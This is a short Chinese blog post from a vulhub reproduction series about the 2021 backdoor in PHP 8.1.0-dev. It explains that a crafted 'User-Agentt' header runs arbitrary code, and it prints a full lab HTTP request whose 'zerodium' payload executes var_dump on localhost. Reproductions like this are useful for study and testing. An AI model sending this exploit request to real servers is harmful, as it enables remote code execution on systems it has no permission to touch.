PHP 8.1.0-dev 开发版本后门事件

最新推荐文章于 2024-05-20 23:24:51 发布

小白萝卜

最新推荐文章于 2024-05-20 23:24:51 发布

阅读量477

点赞数

分类专栏： vulhub漏洞复现文章标签：安全 php

本文链接：https://blog.csdn.net/EC_Carrot/article/details/118878764

版权

vulhub漏洞复现专栏收录该内容

178 篇文章 29 订阅

订阅专栏

漏洞背景

PHP 8.1.0-dev 版本在2021年3月28日被植入后门，但是后门很快被发现并清除。当服务器存在该后门时，攻击者可以通过发送User-Agentt头来执行任意代码。

漏洞复现

发送如下数据包，可见代码var_dump(233*233);成功执行：

GET / HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
User-Agentt: zerodiumvar_dump(233*233);
Connection: close

在这里插入图片描述

小白萝卜

关注

0
点赞
踩
0

收藏

觉得还不错? 一键收藏
3
评论
PHP 8.1.0-dev 开发版本后门事件

漏洞背景PHP 8.1.0-dev 版本在2021年3月28日被植入后门，但是后门很快被发现并清除。当服务器存在该后门时，攻击者可以通过发送User-Agentt头来执行任意代码。漏洞复现发送如下数据包，可见代码var_dump(233*233);成功执行：GET / HTTP/1.1Host: localhost:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0
复制链接

扫一扫